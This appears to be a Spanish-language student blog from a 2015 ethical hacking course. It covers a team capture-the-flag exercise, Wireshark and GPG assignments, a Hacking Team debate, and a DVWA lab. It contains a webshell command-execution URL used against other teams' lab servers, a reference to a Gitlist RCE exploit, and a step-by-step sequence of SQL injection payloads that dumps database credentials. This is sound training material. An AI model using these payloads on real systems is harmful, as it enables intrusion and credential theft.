sábado, 24 de octubre de 2015

INFORME FINAL: EN BUSCA DE LAS INSIGNIAS

CORUSCANT

1. APRENDIZAJES REALIZADOS Y OBTENIDOS
 Al empezar esta senda Jedi, en la cual hemos visto una introducción a lo que puede realizar un           ethical hacker en lo ideal en un pentesting. Hemos pasado por la fase de reconocimiento, scanning, tambien hemos aprendido como cifrar documentos, inyeccion SQL, hemos debatido en grupo, etc.

En los siguientes Links les comparto todas mis tareas en la unidades vistas:

UNIDAD 1 TAREA 1: Herramientas básicas para obtener información de servidores externos






      

UNIDAD 2 TAREA 1: CAPTURANDO TRAFICO CON WIRESHARK








UNIDAD 2 TAREA 4: ACTIVIDAD DE REFLEXION




RETO:

El grupo que conformamos se llamó : CORUSCANT. Mi experiencia con el grupo fue de las mejores, y pasamos por las siguientes fases:


OBEJTIVOS:
El objetivo de esta práctica consistía en formar un equipo de 8 personas, 4 de las cuales iban a realizar un Hardening del servidor, mientras el resto iban a atacar los servidores de otros equipos con objeto de conseguir 3 ficheros que el consejo del reto había ocultado en el interior de cada equipo virtual. Siguiendo unas reglas éticas para que el reto se desempeñara de manera justa y limpia.


ANTECEDENTES:

El Consejo Jedi publica un listado de todos los equipos con sus respectivas direcciones IP.

Se dan a conocer las reglas del RETO.
El equipo da a conocer habilidades y fortalezas tanto en defensa como ataque.


IDEA DE CUMPLIMIENTO:

Una vez generados los equipos, la primera parte consistía en fortificar el servidor ante los ataques externos, e incluso internos en busca de posibles agujeros.


  • Conformación del equipo: Una vez ingrese al honorable consejo Jedi, que gracias a que pude obtener rápidamente el enigma pude tener la ventaja de conformar equipo con gente que también había resuelto el enigma, por ende me dio un poco mas de confianza el saber que estaría con gentes mas comprometida y capaz. Mi equipo estuvo conformado por gente de Argentina, Venezuela, España, México y Chile , que a pesar de la diferencia horaria creo que no fue un obstáculo para trabajar en equipo. 
  • Distribución de equipos: El siguiente paso fue conformar 2 equipos uno de defensa y el otro de ataque, yo me incline por integrar el equipo de ataque debido a que tengo conocimiento en SQL, desarrollo web y algunos cursos de hacking. Finalmente los equipos quedaron conformados por 4 defensas y 4 atacantes
  • Primera etapa: En esta etapa el equipo de defensa se encargo de mitigar las vulnerabilidades existentes en el servidor, parchando el apache web server, securizando el servicio FTP, ademas también de parchar y actualizar las aplicaciones web Cacti y Gitlist. Mientras el equipo de Ataque buscaba las formas de vulnerar el servidor que nos asignaron, y apoyar de esta manera al equipo de defensa, identificamos los archivos a recolectar y su ubicación, para poder de manera mas fácil que vulnerabilidad atacar. Siempre me preocupe de mantener buenas las relaciones entre los dos equipos, calmando los ánimos, ya que a veces se entraba un poco en la desesperación.Apoye en algunas ideas para el equipo de defensa como realizar un deface al banner grabbing, y mostrar por ejemplo otra versión del servidor web para despistar a nuestros enemigos.
  • REPORTE:

    Se adjunta reporte de vulnerabilidades sobre nuestro servidor .
  • Segunda Etapa: Una vez concluida la primera etapa y ya identificadas las vulnerabilidades, nos enfocamos en aquellos equipos enemigos que hubieran ingresado al ultimo en el consejo Jedi. Nuestro equipo conformo un listado con todas las IPS y nos fijamos primero en aquellos grupos que no tuvieran nombre y ninguna preocupación por siquiera cambiarle el fondo a la página index. Por mi parte comenze con buscar los archivos lvl02 que aprovechan la vulnerabilidad FTP y rescate una gran cantidad de archivos, debido a que no tenían ni siquiera con requerimiento de login. ejemplo "FTP://direccion_ip"  y se mostraba enseguida el archivo. Luego me enfoque en los lvl01 que aprovechaba una vulnerabilidad en gitlist, donde podíamos ejecutar el siguiente comando en la url: direccionIP/gitlistcache/x.php?cmd=ls%20/usr/share/doc/base-files , donde listamos los archivos que existan en esta ruta, luego reemplazando ls por cat obteníamos el archivo lvl01. Luego para los archivos lvl03 tambien podiamos aprovechar una vulnerabilidad en gitlist, la vulnerabilidad era que podíamos ejecutar un exploit para obtener una sesion con meterpreter en la maquina remota y poder ejecutar comandos. aca dejo un link con los detalles del exploit: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/ . Tengo que reconocer que por razones de tiempo no pude realizar completamente este ataque , pero si lo hizo otro integrante de mi equipo, obteniendo muchos archivos lvl03.
RESUMEN 2DA ETAPA

  • Objetivos
  • Realizar análisis de vulnerabilidades sobre el servidor del grupo
  • Comprender e investigar vulnerabilidades encontradas en el grupo
  • Recolectar los archivos del servidor del grupo
  • Dar a conocer a el equipo de defensa las vulnerabilidades encontradas y los pasos a seguir para mitigarlas.
  • Atacar a los grupos enemigos dados a conocer por el consejo Jedi
  • Obtener archivos de los grupos enemigos.
  • Pasos realizados
  • Uso de herramientas de análisis de vulnerabilidades:
  • Cada atacante uso una herramienta distinta para analisis de vulnerabilidades, como por ejemplo nessus, nexpose, openvas, vega, etc.. encontrando diferentes resultados.tambien se utilizo nmap para el scaneo de puertos sobre el servidor.
    nmap.JPG
    • Comprender e investigar vulnerabilidades encontradas en el grupo
    • Con las vulnerabilidades encontradas, se procede a entender como funcionan y la manera de aplicarlas. se utilizaron herramientas como burp suite, sqlmap, tamperdata,metasploit,.etc.
    sqlmap_burp.JPG
    12167381_10208145671707346_650207579_n.jpg
    • Recolectar los archivos del servidor del grupo
      • Se ve la forma de acceder a través de las vulnerabilidades del servidor la obtención de los archivos
    • Dar a conocer a el equipo de defensa las vulnerabilidades encontradas y los pasos a seguir para mitigarlas.
      • Tanto como FTP, el servidor apache , cacti y gitlist necesitaban ser parchados para que los equipos enemigos no accedieran a este, se les envía al equipo de defensa los reportes de vulnerabilidades.
    • Atacar a los grupos enemigos dados a conocer por el consejo Jedi.
      • Con la primera etapa finalizada, comienza la etapa de ataque a los demás grupos. Creamos un listado con los grupos y sus direcciones IPS para ir coordinando los ataques.Nos enfocamos en los equipos más débiles por así decirlo, en aquellos grupos que se habían creado recién y que ni siquiera tenían nombre de grupo o que ni siquiera se habían preocupado de cambiar el index de su servidor. los ataques realizados fueron los siguientes:
        • FTP: Se obtubieron los archivos lvl02 aprovechando una vulnerabilidad en el servicio ftp, en el cual ni siquiera tenían un login de acceso.
        • Gitlist: Donde podíamos ejecutar el siguiente comando en la url: direccionIP/gitlistcache/x.php?cmd=ls%20/usr/share/doc/base-files , donde listamos los archivos que existan esta ruta, luego reemplazando ls por cat obteniamos el archivo lvl01.
        • Gitlist: Luego para los archivos lvl03 tambien podiamos aprovechar una vulnerabilidad en gitlist, la vulnerabilidad era que podíamos ejecutar un exploit para obtener una sesión con meterpreter en la máquina remota y poder ejecutar comandos. aca dejo un link con los detalles del exploit: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/



    • Objetivos alcanzados

    Nota equipo de ataque: Se contó en todo momento con el apoyo del equipo de defensa, trabajando en forma conjunta en todo momento.


MI EXPERIENCIA

Ha sido un grato placer poder realizar este curso ya que pude poner a prueba mis conocimientos sobre seguridad informática, base de datos y programación. Pero creo que lo mejor del curso es poder haber compartido con gente de todo el mundo, mi grupo estaba conformado por gente de Argentina, España, México Venezuela y mi querido CHILE, siendo todos de coordenadas geográficas distintas ,por una parte compartíamos la misma lengua, el español, que es un plus para el logro de los objetivos y por otra la diferencia horaria no fue impedimento para que trabajáramos en equipo. 
Los integrantes de mi grupo tenían diferentes espertices, lo que lo hace muy valorable. Por mi parte creo que logre colaborar con todos aquellos que necesitaron de mi ayuda, en ocasiones logre unir al grupo en situaciones que estábamos un poco desesperados,también pude contar con la ayuda de mis compañeros cuando la necesite. 
Doy las gracias al Consejo Jedi por realizar este curso, que finalmente creo que la gran prueba fue el trabajo en equipo. Como grupo CORUSCANT seguiremos manteniendo el contacto, y estaremos en constante retroalimentación, ya que el mundo de la seguridad informática es una pequeña comunidad que se necesita de la solidaridad de todos.



   

ENIGMA

Para la resolución del enigma simplemente ocupe sql injection y pgp para resolverlos. Adjunto los pasos y capturas de pantallas que realize.

 1. Realizamos una consulta a la tabla guestbook 

2.  Aca podemos encontrar la llave para descifrar el texto

3. Vamos a DEcrypt files en el menu.


4.  Acá introducimos la llave que encontramos en la tabla.
 

5. Con esto logramos descifrar el texto

6. ahí tenemos el texto ya descifrado

7. Con el mensaje del consejo.

8.- Bienvenidos al consejo

jueves, 1 de octubre de 2015

UNIDAD 2 TAREA 4: ACTIVIDAD DE REFLEXION

Esta semana hemos comprendido y utilizado una de las principales herramientas analizadoras de tráfico que existen WIRESHARK. tambien llamos sniffers. Desde como analizar un trafico en texto plano, como TELNET y ver tráfico cifrado como SSL y SSH. Esto nos lleva a comprender que tan importante es que utilicemos protocolos de seguridad para nuestras comunicaciones, ya que no sabemos quien puede estar en el medio a la escucha, o mejor llamemoslo mas técnicamente MITM (men in the midle). Este campo podriamos enfocarlo mas al area de conocimientos en redes.



El otro enfoque que pudimos ver esta semana es la Inyección SQL, como a través de una mala programación en la entrada de datos de una pagina web  o sistema , podemos aprovecharnos (por el lado de la luz) ingresando una sentencia SQL (structure query lenguaje) , SELECT, INSERT, DELETE, UPDATE...etc, y obtener mucha información relevante de activos. Por eso es importante la programación segura y siempre acompañada de un buen QA que acompañe al programador en el buen desarrollo del ciclo del software. Todo este campo podriamos enfocarlo a alguien con conocimientos en programación y base de datos.

¿¿Porque insisto con los enfoques en ambas??
Porque un Hacker es alguien con conocimientos en todas las areas de la informatica. un Hacker es alguien que busca solucion a problemas, es un investigador, alguien que siempre va mas adelante que el resto. no confundir con un cyber delincuente. un cyber delincuente es aquel que roba información para uso propio. Ahora la empresa Hacking Team... son ellos Hackers o cyber delincuentes??? dejo el debate abierto para que opinen al respecto.


Atte
Obiwan Kenobi


UNIDAD 2 TAREA 3: DEBATE HACKING TEAM

Hackers Vs Hackers 
Lo ocurrido a Hacking Team no se justifica, pero si creo que recibieron un golpe de su propia medicina, no fue ético pero creo que desarrollar sistemas que espíen a las personas tampoco lo es, menos si lucran con ellos. El termino Hacker últimamente ha estado mal enfocado, un HAcker es una persona con plenos conocimientos en las áreas de informatica, redes, programación y base de datos, además de tener una amplia vocación de resolución de problemas a la vida cotidiana. Muy diferente es un cyber delincuente, que aprovecha de sus conocimientos informaticos para favorecer intereses personales. En el caso de Hacking TEam, los "Hackers" que extrajeron la información de esta empresa italiana, lo que hiceron fue ponerla a conocimiento público y no por intereses personales. Por eso se abre un gran debate de que pasa si un ladrón le roba a un ladrón??? bueno ambos deben ir presos o no????... Ahora Hacking Team crea sus productos, desarrolla el software..etc. Pero el aqui el que compra el producto es el que tiene la mayor responsabilidad, en Chile por ejemplo la PDI que realizó el mayor gasto alrededor de $US 3.000.000 en comprar la herramienta "Phantom" que es de espionaje, lo encuentro totalmente irresponsable. Con ese dinero pueden capacitar a toda su gente en cursos,certificaciones, diplomados, etc.. A lo que voy es que de que sirve tener tremenda herramienta si no tengo el personal capacitado para entender y compreder lo que hace una herramienta. La ciudadanía lo único que piensa de los hackers es que son seres malevolos que te pueden poner en aprietos mientras navegas por internet. Yo creo que a los que mas les debemos tener miedo es al mismo gobierno, que es el que esta tratando de controlar nuestras vidas.
Atte Obiwan Kenobi

UNIDAD 2 TAREA 2 : SQL INYECTION

Lo primer que deberemos hacer es descargar la maquina virtual que contiene el sitio diseñado para realizar pruebas de vulnerabilidades dvwa.

Corremos la maquina virtual y levantamos el sitio:


Verificamos nuestra direccion IP, y luego levantamos el sitio ingresando la direccion IP.



Ingresamos con usuario admin y pass: password, en el menu veremos una serie de pruebas que se pueden realizar en este sitio, pero nosotros para esta tarea nos enfocaremos en SQL injection. Ahora debemos modificar el parametro de seguridad en bajo.



Ahora comenzemos con las pruebas de Inyección SQL :

1.- Ingreso de un caracter, en este caso el numero 1 en la caja de texto:
     Resultado: "SELECT first_name, last_name FROM users WHERE user_id = '$id'" 
Esto devuelve el nombre y apellido desde la tabla usuarios donde el campo user_id es igual, en este caso a el numero 1, que seria el primer valor de la fila de dicha tabla.


2.- Ingreso de  %' or '0'='0 en el campo de texto. Valor siempre verdadero.
   Resultado:  SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0'
    Este desplegara todos los registros que sean falsos y todos los registros que sean verdaderos.

colocar imagen.



3.- Ingresar el siguiente comando %' or 0=0 union select null,version()#
        Resultado: Se desplegara la version de la base de datos.

4.- Ingresar el siguiente comando : %' or 0=0 union select null, user() #
Resultado: Desplegara el nombre de usuario de la base de datos.en este caso es dvwa@localhost



5.- Ingresar el siguiente comando: %' or 0=0 union select null, database() #
Resultado: Desplegara el nombre de la base de datos. En este caso es dvwa


6.- Ingresar el siguiente comando: %' and 1=0 union select null, table_name from information_schema.tables #
Resultado: Este desplegara todas las tablas del esquema information_schema.


7.- Ingresar el siguiente comando: %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
Resultado: Se desplegara todas las tablas que comienzen con el prejijo user en la base de datos information_schema



8.- Ingresar el siguiente comando: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
Resultado: Desplegara todas las columnas o campos en la tabla usuarios

9.- Ingresar el siguiente comando: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Resultado: Al saber la tabla que cotiene a el o los usuarios de la base de datos, podemos obtener toda la informacion de autenticacion de ella:





CONCLUSIONES

Como podemos ver, si un hacker tiene conocimientos avanzados de base de datos y lenguaje SQL, puede obtener gran cantidad de información , sobre todo cuando esa base de datos es considerado como un activo de la empresa y de sensibilidad crítica. No sólo existen los comandos presentados, el lenguaje SQL da para mucho, tambien podriamos crear nuestro propio usuario dentro de la base de datos con un insert por ejemplo, 
Por estos motivos un desarrollador es tan importante como un QA, ya que deben validar todas las entradas de datos en su aplicación, y no tener codigo sql embebido dentro del código. La programación segura es de vital importancia dentro de este punto. Por eso insto a seguir el ciclo de vida del desarrollo del software para que no existan puntos debiles en los sistemas. Aunque sabemos que siempre existirán o estará ahi el joven sith para lograrlo.

miércoles, 30 de septiembre de 2015

UNIDAD 2 TAREA 1: CAPTURANDO TRAFICO CON WIRESHARK

PRIMERA PARTE TELNET

Para esta tarea deberemos descargar un paquete ya capturado desde la pagina de wireshark,el archivo es telnet-raw.pcap. Luego abrimos este archivo desde wireshark.


una vez que tenemos el archivo abierto, nos concentraremos en el trafico TELNET el cual ocupa el puerto 23.


Si analizamos el trafico nos podemos da cuenta de muchas cosas, siempre y cuando el trafico viaje en texto plano.

Podemos ademas ver todo el trafico de forma mas simple en "Follow TCP Stream"


Ahora nos podemos hacer las siguientes preguntas:

¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?

usuario: fake    password: user

¿Qué sistema operativo corre en la máquina?

sistema operativo linux openbsd 2.6 beta

¿Qué comandos se ejecutan en esta sesión?

ping
ls
ls -a
exit

SEGUNDA PARTE SSL

En la segunda parte de esta tarea analizaremos un tráfico SSL, para eso descargaremos de la pagina de wireshark el archivo x509-with-logo.cap. SSL que significa Secure Socket Layer es un protocolo criptografico, que proporciona comunicación segura por una red, como por ejemplo Internet a través de HTTP, se usan certificados 509, por lo tanto se usa cifrado asimétrico.

Ejemplo de un sitio con SSL:

Nos podemos dar cuenta del candado, es lo que denota que la pagina web usa SSL y es segura.
Ademas el protocolo HTTP estandar se convierte en HTTPS el cual indica que la comunicacion al servidor debe realizarse por SSL.

Ahora para el ejercicio, abrimos el archivo indicado:


Ahora nos podemos hacer las siguientes Preguntas:

¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?

Si en el segundo paquete el servidor envía la trama como aparece en la imagen.



¿El certificado va en claro o está cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?

El certificado va cifrado con SHA con RSA y la autoridad que emite el certificado es VERISIGN

¿Qué asegura el certificado, la identidad del servidor o del cliente?

La identidad del servidor, debido a que el certificado SSL debe ser instalado en los servidores web
luego al intentar acceder a la pagina web, el certificado solictará establecer una conexión segura
con el navegador, lo que protegerá todo el trafico entre el navegador web y el servidor.

TERCERA PARTE SSH

En la tercera parte de la tarea analizaremos trafico SSH, para eso descargamos el archivo ssh.cap desde la pagina de wireshark. SSH (Secure Shell) es un protocolo seguro de comunicaciones que trabaja de forma similar a telnet, la diferencia es que ssh usa tecnicas de cifrado que hacen que la informacion que viaja por el medio de comunicacion no sea legible.

Una vez abierto el archivo con wireshark y analizado su trafico nos podemos hacer las siguientes preguntas:

¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?

Si en el paquete 20, como se puede mostrar en la imagen:





¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?

El protocolo que viaja cifrado es SSH.

¿Es posible ver alguna información de usuario como contraseñas de acceso?

Al viajar la información cifrada es dificil poder ver a simple vista las contraseñas. Ya hay que emplear tecnicas mas avanzadas como un Replay Atack.





martes, 29 de septiembre de 2015

UNIDAD 1 TAREA 3 : CIFRADO ASIMÉTRICO CON GPG

Buenas Tardes:

Lo primero que realize fue bajar la herramienta GPG4WIN. una vez instalada, utilice gpg2 para generar la llave publica y privada.





Luego exporte la llave publica en binario y ASCII




Luego se comparte la llave publica con un tercero, en este caso con el alumno Alan Gon del curso.


   Espero a que me envie algún texto cifrado con la llave publica que le envié anteriormente.

   

    Ahora ocupare kleopatra para descifrar el texto,e ingresare mi llave privada. busco el texto que me envio Alan.

    


   Acá debo ingresar mi llave privada.
 

   y realiza el proceso de descifrado.


     Aca visulaizamos el texto ya descifrado...
     
    

    Celebración del logro =)

   


AHORA VEREMOS EL PROCESO INVERSO, DONDE ALAN ME ENVIA SU LLAVE PUBLICA Y YO LE ENVIO UN TEXTO CIFRADO CON SU LLAVE PUBLICA, PARA QUE LUEGO EL CON SU LLAVE PRIVADA LOGRE DESCIFRARLO. A ESTE PROCESO LLAMAMOS CIFRADO ASIMETRICO.

  

   Ahora importo su llave publica con Kleopatra.

    


    Una vez que ya la tengo importada , procedo a cifrar un archivo de texto con su llave publica.
   

    Selecciono el certificado de alan


    le damos a continuar.


    escogemos el modo a cifrar.
    

    ingresamos nuestra calve secreta


    y Ciframos
    


    Ahora le envio el archivo de texto cifrado con su llave publica.

 

    El me corresponde con un mission Accomplished  =).

    

   CONCLUSIONES

   En esta tarea ocupamos una herramienta opensource llamada gpg4win, y entendimos los conceptos    de llave publica y llave privada para envió de mensajes que se quiera proteger su integridad, con        autenticación incorporada, validando así la identidad del mensajero.

 
   QUE LA FUERZA LOS ACOMPAÑE: